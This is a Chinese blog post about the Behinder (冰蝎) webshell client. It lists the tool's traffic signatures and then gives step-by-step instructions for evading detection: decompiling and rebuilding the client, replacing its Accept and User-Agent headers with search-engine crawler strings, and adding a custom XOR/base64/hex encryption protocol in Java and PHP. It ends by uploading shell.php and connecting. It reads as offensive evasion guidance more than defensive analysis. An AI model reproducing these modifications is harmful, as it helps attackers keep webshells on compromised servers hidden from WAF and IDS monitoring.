冰蝎特征攻防对抗

已于 2024-02-19 12:49:49 修改
阅读量478 收藏 5
点赞数 8
分类专栏： 学习历程 文章标签： web安全
于 2024-02-02 15:44:48 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_29948489/article/details/135995311
版权

冰蝎工具流量特征

冰蝎连接一个马子，冰蝎走burp代理，burp抓包，

特征点

1、请求数据包头的两个强特征、一个弱特征

Accept字段、Content-Type（弱特征）、User-agent 字段

2、已知数据的提交内容加密算法

xor、xor_base64、aes、image、json等

Accept字段

Accept: application/json, text/javascript, */*; q=0.01

Content-Type（弱特征）

application/x-www-form-urlencoded

User-agent 字段

冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用。

Mozilla/5,0 (Macintosh: Intel Mac Os X 10.15: n:79.0) Gecko/20100101 Firefox/79.0
Mozilla/5.0 (Macintosh; Intel Mac Os X 10.15; nv:87.0) Gecko/20100101 Firefox/87.0
Mozila/5.0 (Macintosh; intel Mac Os x 10 15 6) AppleWebKit/537.36 (KHTML, like Gecko) chrome/84.0.4147.125 Safari/537.36
Mozila/5.0 (Macintosh; Intel Mac Os x 11 2 3) AppleWebKit/537.36 (KHTML, like Gecko) chrome/89.0.4389.114 Safari/537.36
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) chrome/84.0.4147.125 Safari/537.36
Mozila/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) chrome/96.0.4664.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit!/537.36 (KHTML, like Gecko) chrome/96.0.4664.1 10 Safari/537.36
Mozila/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537,36 (KHTML, like Gecko) chrome/99.0.4844.74 safari/537.36 Edg/99.0.1150.55
Mozilla/5.0 (Windows NT 10.0: Win64; x64; nv:98.0) Gecko/20100101 Firefox/98.0
Mozilla/5,0 (Windows NT 6.3: Trident/7.0:ny:11.0) like Gecko

可以看到这此用的第一个

image-20240201174147985

已知数据的提交内容加密算法

4.0以后出现了传输协议，对于提供的默认协议来说，也是默认的特征点

image-20240201175151171

生成一个

image-20240201181630189

image-20240201181746511

查看源码

image-20240201182137180

查看到对应特征点

image-20240201204443802

修改冰蝎特征

idea反编译
java -cp IDEA_HOME/plugins/java-decompiler/lib/java-decompiler.jar  org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true <src.jar> <dest dir>
在线反编译
https://www.decompiler.com/

找到jar包扔上去即可

image-20240201182708474

这里用的在线的，反编译的文件下载下来即可

新建项目

image-20240201184228037

把反编译的文件放进来

image-20240201184412138

新建lib文件，将原来的冰蝎原生文件放入

image-20240201184748158

点击文件-》项目结构-》模块-》依赖-》添加刚刚导入的jar包，勾选点击应用

image-20240201185200020

在页面点击工件-》添加jar-》来自具有依赖的-》

image-20240201192746620

Accept等修改
Accept: application/json, text/javascript, */*; q=0.01

按两下shift全局搜索即可

image-20240201191354182

将net文件复制到src下

image-20240201192049635

image-20240201192104167

修改src下的net的constatnts.java的文件

image-20240201192219212

文件只保留

image-20240201220733480

再将lib/data.db文件放到根目录下

image-20240201193447863

右键src-》将目录标记为源代码根目录

image-20240201194337883

除了要修改的文件，剩余的都删除

image-20240201194857800

重建-》重新编译，构建-》构建工件-》重新构建，然后运行jar包

image-20240201194959956

冰蝎挂上代理，burp查看Accept，会发现已经修改。

image-20240201195519221

Content-Type（弱特征）、User-agent 字段

剩余同理。

Content-Type不修改了，弱特征，User-agent尽量用大网站的爬虫比如360、百度、google等 ，替换即可

            "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)",
            "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
            "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30",
            "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.4.2661.102 Safari/537.36; 360Spider",
            "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/11B554a MicroMessenger/6.2.1",
            "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 360se)",
            "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; TencentTraveler 4.0; .NET CLR 2.0.50727)",
            "AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X)",
            "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"

image-20240201200832677

内容加密算法修改

在一个正常的冰蝎中，创建xzg协议，本地加密函数

加密

private static byte[] Encrypt(byte[] data) throws Exception {
        String key = "e45e329feb5d925b";
        for (int i = 0; i < data.length; i++) {
            data[i] = (byte) (data[i] ^ key.getBytes()[i + 1 & 15]);
        }

        byte[] encrypted = null;
        try {
            // 使用java.util.Base64
            Class<?> baseCls = Class.forName("java.util.Base64");
            Object encoder = baseCls.getMethod("getEncoder").invoke(baseCls, null);
            encrypted = (byte[]) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, data);
        } catch (Throwable error) {
            // 使用sun.misc.BASE64Encoder
            Class<?> baseCls = Class.forName("sun.misc.BASE64Encoder");
            Object encoder = baseCls.newInstance();
            String result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, data);
            result = result.replace("\n", "").replace("\r", "");
            encrypted = result.getBytes();
        }

        Object obj = null;
        try {
            // 使用javax.xml.bind.DatatypeConverter
            Class<?> clazz = Class.forName("javax.xml.bind.DatatypeConverter");
            obj = clazz.getDeclaredMethod("printHexBinary", byte[].class).invoke(null, encrypted);
        } catch (Throwable error) {
            System.out.println(error);
        }

        byte[] encrypted_hex = obj.toString().toLowerCase().getBytes();
        return encrypted_hex;
    }

    public static void main(String[] args) {
        try {
            byte[] inputData = "Hello, World!".getBytes();
            byte[] encryptedResult = Encrypt(inputData);

            // 输出加密结果
            System.out.println("Encrypted Result: " + new String(encryptedResult));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

解密

private static byte[] Decrypt(byte[] data) throws Exception {
    // 从十六进制转回base64
    String decrypted_hex = new String(data);
    byte[] decrypted_base = null;

    try {
        // 使用javax.xml.bind.DatatypeConverter将十六进制字符串解析为base64编码的字节数组
        Class<?> clazz = Class.forName("javax.xml.bind.DatatypeConverter");
        decrypted_base = (byte[]) clazz.getDeclaredMethod("parseHexBinary", String.class).invoke(null, decrypted_hex);
    } catch (Throwable error) {
        System.out.println(error);
    }

    // 从base64转回正常字符串
    byte[] decodebs;
    Class<?> baseCls;

    try {
        // 尝试使用java.util.Base64进行Base64解码
        baseCls = Class.forName("java.util.Base64");
        Object Decoder = baseCls.getMethod("getDecoder").invoke(baseCls, null);
        decodebs = (byte[]) Decoder.getClass().getMethod("decode", byte[].class).invoke(Decoder, decrypted_base);
    } catch (Throwable e) {
        // 如果不支持java.util.Base64，使用sun.misc.BASE64Decoder进行Base64解码
        baseCls = Class.forName("sun.misc.BASE64Decoder");
        Object Decoder = baseCls.newInstance();
        decodebs = (byte[]) Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, new String(decrypted_base));
    }

    // 使用异或操作对数据进行简单的解密
    String key = "e45e329feb5d925b";
    for (int i = 0; i < decodebs.length; i++) {
        decodebs[i] = (byte) (decodebs[i] ^ key.getBytes()[i + 1 & 15]);
    }

    return decodebs;
}

public static void main(String[] args) {
    try {
        // 待加密的数据
        String inputData = "Hello, World!";
        
        // 调用加密函数
        byte[] encryptedResult = Encrypt(inputData.getBytes());

        // 输出加密结果
        System.out.println("Encrypted Result: " + new String(encryptedResult));

        // 解密
        byte[] decryptedResult = Decrypt(encryptedResult);
        System.out.println("Decrypted Result: " + new String(decryptedResult));
    } catch (Exception e) {
        e.printStackTrace();
    }
}

private static byte[] Encrypt(byte[] data) throws Exception {
    // 设置密钥
    String key = "e45e329feb5d925b";
    
    // 使用异或操作对数据进行简单的加密
    for (int i = 0; i < data.length; i++) {
        data[i] = (byte) (data[i] ^ key.getBytes()[i + 1 & 15]);
    }

    byte[] encrypted = null;
    try {
        // 尝试使用java.util.Base64进行Base64编码
        Class<?> baseCls = Class.forName("java.util.Base64");
        Object encoder = baseCls.getMethod("getEncoder").invoke(baseCls, null);
        encrypted = (byte[]) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, data);
    } catch (Throwable error) {
        // 如果不支持java.util.Base64，使用sun.misc.BASE64Encoder进行Base64编码
        Class<?> baseCls = Class.forName("sun.misc.BASE64Encoder");
        Object encoder = baseCls.newInstance();
        String result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, data);
        result = result.replace("\n", "").replace("\r", "");
        encrypted = result.getBytes();
    }

    // 使用javax.xml.bind.DatatypeConverter将Base64编码的字节数组转为十六进制字符串
    Object obj = null;
    try {
        Class<?> clazz = Class.forName("javax.xml.bind.DatatypeConverter");
        obj = clazz.getDeclaredMethod("printHexBinary", byte[].class).invoke(null, encrypted);
    } catch (Throwable error) {
        System.out.println(error);
    }

    // 将十六进制字符串转为小写字节数组
    byte[] encrypted_hex = obj.toString().toLowerCase().getBytes();
    return encrypted_hex;
}

如果代码不对，会提示不一致的。
保存成功理论上是可以解密的。

image-20240202011930958

远程加密

function Encrypt($data)
{
    $key="e45e329feb5d925b"; 
    for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15]; 
    }
    $bs="base64_"."encode";
    $after=$bs($data."");

    return bin2hex($after);//base64后转16进制
}

远程解密

function Decrypt($data)
{
    $key="e45e329feb5d925b"; 
    $bs="base64_"."decode";
    $after=$bs(pack('H*',$data)."");//先解出16进制，再base64解码
    for($i=0;$i<strlen($after);$i++) {
        $after[$i] = $after[$i]^$key[$i+1&15]; 
    }

    return $after;
}

image-20240202015227652

然后将db文件移动到文件目录中

image-20240201235053633

生成客户端

image-20240202013224795

​

image-20240202013240741

上传shell.php，连接

image-20240202015318097

在运行这个项目会发现多了协议…当然这个操作很抽象，暂时想到就是这样解决，不过又不是不能跑

image-20240202015345387

更多的可以利用chatgpt去生成

最后打包使用即可

image-20240202151722626

最后讲一句，又不是不能用~~~

文章参考

https://www.freebuf.com/articles/network/345803.html
https://xz.aliyun.com/t/12896?time__1311=mqmhq%2Bxj2D7D%2FGY0%3D%3DcCQ06EboD#toc-6
https://xz.aliyun.com/t/11942?time__1311=mqmx0DBG0QdxyDBuex2lQDkzwxGKG8l7zeD#toc-4
https://chat.openai.com
zzz的安全之路
关注
  • 8
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
冰蝎、蚁剑、哥斯拉的流量特征
qq_53218512的博客
06-11 3775
webshell管理工具，蚁剑、冰蝎哥斯拉的流量特征
菜刀，蚁剑，冰蝎，哥斯拉的流量特征
qq_51550750的博客
07-04 4711
菜刀，蚁剑，冰蝎，哥斯拉的流量特征
冰蝎Behinder_v4.0
热门推荐
一醉一休的博客
10-13 1万+
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端，由于通信流量被加密，传统的WAF、IDS 设备难以检测，给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密，且加密密钥是由随机数函数动态生成，因此该客户端的流量几乎无法检测
java aes加密_冰蝎动态二进制加密WebShell特征分析
weixin_39716971的博客
12-01 446
概述冰蝎一款新型加密网站管理客户端，在实际的渗透测试过程中有非常不错的效果，能绕过目前市场上的大部分WAF、探针设备。本文将通过在虚拟环境中使用冰蝎，通过wireshark抓取冰蝎通信流量，结合平时在授权渗透中使用冰蝎马经验分析并总结特征。版本介绍目前冰蝎已经迭代6个版本下载地址，从最初的v1.0版本到目前最新的版本v2.0.1，其中v1.0版本可以从此处下载到。冰蝎最初的版本对于环境的...
[Java随笔]冰蝎2.0-jsp马交互部分源码解读及其特征检测
Y4tacker的博客
11-11 3228
文章目录写在前面源码解读Jsp马交互部分源码解读认证流程 写在前面 大概是最近搞内存马有点累了，今晚顺便看看冰蝎部分源码，简简单单写篇博客休息休息，本着怕第一次看这个工具源码，怕直接看最新的容易不理解，就拿了个2.0版本看着玩吧，谁知道也太简单了：同款源码在rebeyond/Behinder 源码解读 反编译jar包后，其核心代码在net.rebeyond.behinder Jsp马交互部分源码解读 直接丢出来源码，挺简单的，首先是一个继承ClassLoader的U类，一看defineClass就知道是加载
新型网络安全攻防对抗体系框架
04-14
亟待构建一套新型网络安全防御框架，指导防守方在传统网络安全防御框架的基础上，构建基于攻防对抗视角的新型网络安全防御框架，更加突出攻防对抗能力，加强未知攻击面、主动检测、发现定位、主动溯源攻击、扼杀攻击...
有源诱饵和攻防对抗
02-27
包括一些学位论文和期刊论文，攻防对抗方面
网络安全-攻防软件-冰蝎
最新发布
09-05
网络安全-攻防软件-冰蝎
行动中的攻防对抗体系研究.pdf
11-05
行动中的攻防对抗体系研究.pdf
网络靶场：从专业赋能到实战攻防-赛博空间的对抗与演进.pdf
08-08
打通从实战仿真到实战的壁垒，依托网络靶场开展实网攻防，从源头上完成“学、练、打”三位一体，面向实战，面向未来。 网络靶场的理想模型与发展趋势 在网络对抗、Testbed的专业赋能 实战型靶场演进方向
干货|冰蝎、哥斯拉 内存马应急排查
m0_60571990的博客
12-29 6696
干货|冰蝎、哥斯拉 内存马应急排查
HTTP请求头和响应头
Rulelur的博客
12-12 3382
请求头 Accept：浏览器可接受的MIME类型。 就是希望服务器返回什么类型的数据，比如application/json，text/html，image/png，*/* Accept:application/json, text/javascript, */*; q=0.01 q是Quality values，权重系数，范围 0 =< q <= 1，q 值越大，请求越倾向于获得其“;”之前的类型表示的内容，若没有指定 q 值，则默认为1，若被赋值为0，则用于提醒服务器哪些是浏览器不接
ajax之post请求,ajax之 get post请求
weixin_35681614的博客
08-06 456
get请求function get(){$.get( "./Aservlet?id=5", function(data, textStatus, jqXHR){$("body").append( data );} );};发送时候 截取的报文GET http://localhost:8080/KKserver/Aservlet?id=5 HTTP/1.1Host: localhost:8080Co...
Python爬虫JS解密详解，学会直接破解80%的网站！
爬遍所有网站
08-19 5457
1、网页查看 2、有道翻译简单实现源码 import requests #请求头 #headers不能只有一个User-Agent，因为有道翻译是有一定的反扒机制的，所以我们直接全部带上 headers = { "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Encoding": "gzip, deflate", "Accept-Language": "z..
短信逻辑漏洞
1stPeak's Blog
09-04 1155
文章目录示例1示例2示例3 注：文章相关法规要求，有些词汇不能显示，真实为短信hz漏洞 示例1 发送到爆破模块，修改POST请求内容 POST /registerform HTTP/1.1 Host: www.xxx.com.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, */*; q=0
WAF攻防-菜刀&冰蝎&哥斯拉&流量通讯&特征绕过&检测反制&感知
今天是几号的博客
04-12 1373
使用Proxifier进行流量转发至Burp抓包分析(使用Wireshake也可以)# ==冰蝎3-流量&绕过&特征&检测== **面试必问的，别问我怎么知道的** 冰蝎利用了服务器端的脚本语言加密功能，通讯的过程中， 消息体内容采用 AES 加密，基于特征值检测的安全产品无法查出 ## 特征 密钥使用连接密码的md5结果的前16位 如果对方使用的默认密码rebeyond，那么密钥就是e45e329feb5d925b，那么这也算是一个特征
猿人学第五题
weixin_42587620的博客
07-20 600
这题分析了好久，一时半会儿说不清楚，直接贴代码吧。
流量特征分析——蚁剑、菜刀、冰蝎
Sgirll的博客
07-22 4884
通过对这三种常见的网络攻击工具流量特征的分析，我们可以更好地了解它们在网络流量中的表现。网络管理员和安全专家可以根据这些特征来识别和监测潜在的攻击活动，并及时采取相应的防护措施。同时，持续的学习和了解新兴攻击工具的流量特征也是保持网络安全的重要一环。本文将重点研究菜刀、蚁剑和冰蝎这三种常见的网络攻击工具，分析它们在流量中留下的痕迹和特征，以便网络管理员和安全专家能够更好地识别和对抗这些工具所带来的潜在威胁。蚁剑（AntSword）是一款功能强大的跨平台渗透测试工具，被广泛用于攻击和渗透测试活动。
渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析
lza20001103的博客
08-13 4579
渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析
冰蝎3.0和4.0流量特征
07-25
冰蝎3.0和4.0的流量特征有一些显著的不同。首先，在加密方式方面，冰蝎4.0引入了更多的加密方式，包括xor、xor_base64、aes、json和image等五种加密方式，并且每种加密方式都支持自定义加解密代码。而冰蝎3.0则没有这么多加密方式的选择。\[1\] 其次，在传输方式方面，冰蝎4.0引入了okhttp3客户端，因此与3.0版相比，HTTP协议交互和TLS协议交互都有显著的不同。这意味着在TLS未解密（TLS协议流量）和TLS解密（HTTP协议流量）两种场景下，冰蝎4.0的流量特征也会有所不同。\[1\]\[2\] 此外，冰蝎4.0版本提供了传输协议自定义功能，让用户可以对流量的加密和解密进行自定义，实现流量加解密协议的去中心化。这意味着冰蝎4.0的流量特征可以根据用户的自定义传输协议而变化，不再有固定的连接密码的概念。\[3\] 综上所述，冰蝎3.0和4.0的流量特征在加密方式和传输方式方面有明显的差异，并且冰蝎4.0版本提供了更多的自定义功能，使得流量特征更加灵活和多样化。 #### 引用[.reference_title] - *1* *2* [攻防演练 | 观成瞰云有效检出冰蝎4.0加密流量](https://blog.csdn.net/GCKJ_0824/article/details/125987480)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [冰蝎Behinder_v4.0](https://blog.csdn.net/m0_55793759/article/details/127250968)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值